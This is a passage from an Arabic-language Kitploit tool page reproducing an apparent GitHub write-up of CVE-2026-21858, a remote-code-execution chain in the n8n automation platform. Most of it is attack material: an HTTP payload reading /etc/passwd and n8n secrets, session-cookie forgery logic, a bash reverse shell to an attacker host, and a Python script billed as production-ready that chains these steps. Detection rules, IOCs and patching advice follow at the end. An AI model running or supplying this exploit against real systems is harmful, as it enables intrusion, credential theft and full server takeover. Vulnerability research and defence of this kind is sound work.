Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرموارد منسقة
GitHubsastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit

SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit

المراجعة التقنية وإعادة إنتاج CVE-2026-21858، وهي سلسلة تنفيذ أوامر عن بُعد (RCE) في n8n تستغل الالتباس في نوع المحتوى (Content-Type) لقراءة ملفات عشوائية، وتزوير الجلسات، وتنفيذ الأوامر.

عرض المستودعالموقع الإلكتروني
منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

DOI = doi.org/10.5281/zenodo.18278825

ORCID = orcid.org/0009-0007-7728-256X


[تحليل إعادة البناء] CVE-2026-21858: Ni8mare - سلسلة استغلال كاملة لـ RCE في n8n

  1. الملخص التنفيذي والنظرة العامة تقدم هذه الوثيقة تحليلًا تقنيًا حتميًا لإعادة بناء ثغرة CVE-2026-21858، المُسمّاة داخليًا Ni8mare. تحمل هذه الثغرة درجة CVSS 10.0 (حرجة) وتم تحديدها في عقدة Form Webhook الخاصة بمنصة الأتمتة n8n. الخلل هو ثغرة ارتباك نوع المحتوى (Content-Type Confusion) تُمكّن المهاجمين غير المصادَق عليهم من تنفيذ قراءات عشوائية للملفات، وتزوير الجلسات، وفي النهاية تنفيذ كود عن بُعد كامل (RCE) عبر عقدة "Execute Command".

يستند هذا التدقيق التقني إلى نتائج Dor Attias من Cyera Research Labs (9 نوفمبر 2025) ويتضمن خطوات إعادة إنتاج جاهزة للاستخدام في بيئات مختبر REmnux/Kali Linux.

المعلومات الرئيسية: الهدف: إصدارات n8n >=1.65.0 إلى <1.121.0.

متجه الهجوم: الشبكة (HTTP/HTTPS).

التعقيد: منخفض.

التأثير: كامل (السرية، والنزاهة، والتوافر).

درجة EPSS: 0.97 (احتمالية استغلال عالية جدًا).

  1. التحليل الفني للسبب الجذري يكمن السبب الجذري لهذه الثغرة في دالة prepareFormReturnItem() داخل عقدة Form Webhook في n8n. تقنيًا، يقوم الوسيط parseRequestBody() بتوجيه البيانات بناءً على ترويسة Content-Type:

التدفق الطبيعي: يتم معالجة طلب multipart/form-data بواسطة parseFormData() (باستخدام محلل Formidable)، والذي يملأ بشكل صحيح كائن req.body.files.

الشرط القابل للاستغلال: إذا قدّم المهاجم طلبًا بترويسة Content-Type: application/json، يستدعي الوسيط parseBody(). يتم بعد ذلك تحليل JSON المُرسَل مباشرةً إلى req.body، مما يستبدل خاصية req.body.files بشكل قاتل دون أي تحقق إضافي.

الاستغلال: تستدعي دالة formWebhook -> prepareFormReturnItem() بشكل أعمى copyBinaryFile(req.body.files[0].filepath)، وتثق في مسار الملف المقدم في JSON، وبالتالي تنسخ ملفات محلية عشوائية إلى تخزين سير العمل القابل للوصول.

  1. إعداد بيئة المختبر لإعادة بناء هذا الهجوم بأمان في بيئة معزولة، استخدم Docker مع صورة n8n القابلة للاستغلال.

المتطلبات الأساسية: Docker و Docker Compose.

Python 3 مع مكتبات requests و pyjwt و cryptography.

Netcat (nc) أو Burp Suite لالتقاط الصدفة.

خطوات النشر: تشغيل المثيل القابل للاستغلال:

Bash

docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0 التهيئة الإدارية: الوصول إلى http://localhost:5678، وإنشاء حساب مسؤول (مثل: [email protected] / Password123!).

تكوين سير العمل: إنشاء سير عمل جديد يحتوي على عقدة "Form Trigger" تتضمن حقل "File Upload". قم بتفعيل سير العمل ولاحظ "Test URL".

  1. سلسلة الاستغلال الكاملة المرحلة 1: بدائية قراءة الملفات العشوائية الهدف هو إساءة استخدام ارتباك نوع المحتوى لنسخ ملفات النظام الحساسة.

حمولة طلب HTTP:

HTTP

POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0

[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] الأهداف الاستراتيجية:

/home/node/.n8n/config: لسرقة N8N_ENCRYPTION_KEY.

/home/node/.n8n/database.sqlite: لاستخراج تجزئات بيانات اعتماد المستخدم.

المرحلة 2: تجاوز المصادقة (تزوير الجلسة) بمجرد الحصول على مفتاح التشفير وبيانات المستخدم، يمكن تزوير ملف تعريف الارتباط n8n-auth.

منطق تزوير الجلسة:

الحمولة: {"userId":1, "hash": sha256(email + password).slice(0,10)}.

التوقيع: يتم التوقيع باستخدام N8N_ENCRYPTION_KEY مع خوارزمية HS256.

النتيجة: يسمح ملف تعريف الارتباط المُنشأ بالوصول الإداري الكامل دون المرور بعملية تسجيل الدخول العادية.

المرحلة 3: تنفيذ الكود عن بُعد (RCE) كمسؤول (عبر ملف تعريف الارتباط المزور)، يمكننا أتمتة إنشاء سير عمل جديد يحتوي على عقدة "Execute Command".

حمولة الأمر: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"

  1. سكربت استغلال جاهز للإنتاج (Python) فيما يلي سكربت استغلال موحد (قابل للتنفيذ بشكل فردي) يجمع جميع المراحل المذكورة أعلاه لتحقيق صدفة نظام من الصفر.

Python

#!/usr/bin/env python3

=============================================================================

Ni8mare Full RCE Chain - CVE-2026-21858 (CVSS 10.0)

Reconstructed for SASTRA_ADI_WIGUNA Elite Teaming Analysis

=============================================================================

import requests, json, hashlib, jwt, time

class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()

root@kitploit:~
def read_file(self, path, name):
    """Phase 1: Arbitrary File Read via Content-Type Confusion"""
    print(f"[*] Attempting to read {path}...")
    payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
    headers = {'Content-Type': 'application/json'}
    r = self.session.post(self.webhook_url, json=payload, headers=headers)
    return r.status_code == 200

def forge_session(self, email, password, key):
    """Phase 2: Cookie Forgery"""
    hash_src = email + password
    h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
    payload = {'userId': 1, 'hash': h}
    cookie = jwt.encode(payload, key, algorithm='HS256')
    self.session.cookies.set('n8n-auth', cookie)
    print(f"[+] Forged Cookie: n8n-auth={cookie}")

def trigger_rce(self, lhost, lport):
    """Phase 3: RCE via Workflow Automation"""
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    wf_payload = {
        "name": "Ni8mare RCE",
        "nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
        "active": True
    }
    r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
    print("[!] RCE Workflow Deployed. Check your listener!")

Usage example:

exploit = Ni8mareExploit('http://target:5678', 'abc123')

  1. الكشف والتحليل الجنائي ومؤشرات الاختراق (IOC) لفرق العمليات الأمنية (الفريق الأزرق)، يمكن استخدام المؤشرات التالية للكشف عن محاولات استغلال Ni8mare:

مؤشرات الشبكة (IDS/IPS): توقيع Suricata: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)

الشذوذ: طلبات POST بترويسة Content-Type: application/json مُرسلة إلى نقطة النهاية /webhook/*/form-endpoint.

التحليل الجنائي على مستوى المضيف: نظام الملفات: البحث عن ملفات نصية مشبوهة في دليل ~/.n8n/files/ تحتوي على بيانات نظام (مثل: /etc/passwd).

السجلات: تدقيق سجلات n8n بحثًا عن نشاط دالة prepareFormReturnItem دون بيانات multipart مصاحبة.

Docker Inspect: التحقق من أن إصدار الصورة أقل من 1.121.0.

  1. التخفيف والمعالجة التصحيح الفوري: تحديث n8n إلى الإصدار 1.121.0 أو أحدث. يتضمن التصحيح التحقق من نوع المحتوى على كائنات الملفات قبل معالجتها بواسطة prepareFormReturnItem.

الحل البديل: إذا لم يكن التصحيح ممكنًا، قم بتقييد الوصول إلى نقطة النهاية /webhook باستخدام جدار حماية تطبيقات الويب (WAF) لحظر طلبات JSON المشبوهة.

تقسيم الشبكة: عزل مثيلات n8n عن الشبكات الداخلية الحساسة لمنع الحركة الجانبية في حالة حدوث اختراق.

  1. تعيين MITRE ATT&CK الوصول الأولي: T1190 (استغلال تطبيق مواجه للعام)

التنفيذ: T1059 (مفسر الأوامر والبرمجة النصية)

الثبات: T1098 (التلاعب بالحسابات عبر تزوير الجلسة)

سرقة البيانات: T1083 (اكتشاف الملفات والدلائل)

إخلاء المسؤولية: هذا التحليل مقدم حصريًا للأغراض التعليمية، وتدقيق الأمن، والدفاع السيبراني المهني تحت إشراف الأستاذ SASTRA_ADI_WIGUNA. أي إساءة استخدام لهذه المعلومات في أنشطة غير قانونية تقع بالكامل على مسؤولية المشغّل. التصحيح في بيئة الإنتاج إلزامي.

تنزيل الأداة